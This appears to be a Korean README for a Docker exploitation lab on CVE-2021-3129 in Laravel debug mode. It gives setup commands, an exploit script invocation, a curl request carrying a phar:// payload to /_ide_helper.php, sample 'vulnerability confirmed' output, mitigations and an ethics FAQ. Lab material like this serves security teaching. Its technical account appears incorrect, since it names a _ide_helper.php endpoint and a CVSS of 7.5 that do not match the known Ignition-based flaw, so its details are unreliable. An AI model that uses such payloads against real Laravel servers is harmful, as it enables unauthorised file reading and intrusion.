
CVE-2021-3129: Laravel Debug Mode RCE - 완벽한 익스플로잇 실습 랩 (Python 익스플로잇, Docker 컨테이너, 보안 분석 가이드 포함).
CVE-2021-3129를 악용하는 실습입니다. 이는 Laravel의 심각한 취약점으로, 인증 없이 파일 읽기 및 잠재적 원격 코드 실행(RCE)이 가능합니다.
# Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# Build & Run
docker build -t cve-2021-3129-lab:latest .
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# Test
curl http://localhost:8080/_ide_helper.php
# Exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
| 속성 | 세부 내용 |
|---|---|
| 심각도 | CVSS 7.5 (높음) |
| 영향받는 버전 | Laravel 8.4.2 미만, 7.30.4 미만 |
| 영향 | 임의 파일 읽기, 정보 노출, 잠재적 RCE |
| 인증 필요 | 아니오 |
| 공격 벡터 | 네트워크 |
/_ide_helper.php 엔드포인트 테스트phar:// 래퍼 사용# 1. Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# 2. Build container
docker build -t cve-2021-3129-lab:latest .
# 3. Run container
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# 4. Verify endpoint
curl http://localhost:8080/_ide_helper.php
# 5. Run exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
[✓✓✓] CVE-2021-3129 VULNERABILITY CONFIRMED!
VULNERABILITY DETAILS:
- Debug mode is ENABLED (APP_DEBUG=true)
- _ide_helper.php is ACCESSIBLE
- Arbitrary file read is POSSIBLE
- Sensitive information LEAKED
# Basic
python3 cve_2021_3129_exploit.py http://localhost:8080
# Custom timeout
python3 cve_2021_3129_exploit.py http://localhost:8080 --timeout 10
# Help
python3 cve_2021_3129_exploit.py -h
# Test endpoint
curl http://localhost:8080/_ide_helper.php
# Test with payload
curl 'http://localhost:8080/_ide_helper.php?subject=phar://storage/logs/laravel.log'
# 1. Set APP_DEBUG=false in .env
# 2. Remove _ide_helper.php
# 3. Update Laravel to patched version (8.4.2+, 7.30.4+)
# 4. Restart application
# Stop container
docker stop laravel-cve-2021-3129
# Remove container
docker rm laravel-cve-2021-3129
# Remove image
docker rmi cve-2021-3129-lab:latest
Q: 인터넷에서 테스트할 수 있나요?
A: 아니요. 로컬호스트 전용입니다. 소유하지 않은 시스템에서 절대 테스트하지 마세요.
Q: 패치된 버전에서도 작동하나요?
A: 아니요. Laravel 8.4.2 이상 및 7.30.4 이상은 패치되었습니다.
Q: 익스플로잇을 수정할 수 있나요?
A: 네. 코드는 학습을 위해 완전히 주석 처리되어 있습니다.
Q: 네트워크 트래픽을 캡처하는 방법은?
A: tcpdump 또는 Wireshark를 사용하세요:
sudo tcpdump -i lo -w capture.pcapng 'tcp port 8080'
# In another terminal, run the exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
# Open capture: wireshark capture.pcapng
⚠️ 교육 목적으로만 사용하세요
✅ 승인된 사용:
❌ 금지된 사용:
소유하거나 테스트할 명시적 허가를 받은 시스템에서만 사용하세요.
Naresh R (@theNareshofficial)
MIT License - LICENSE 파일 참조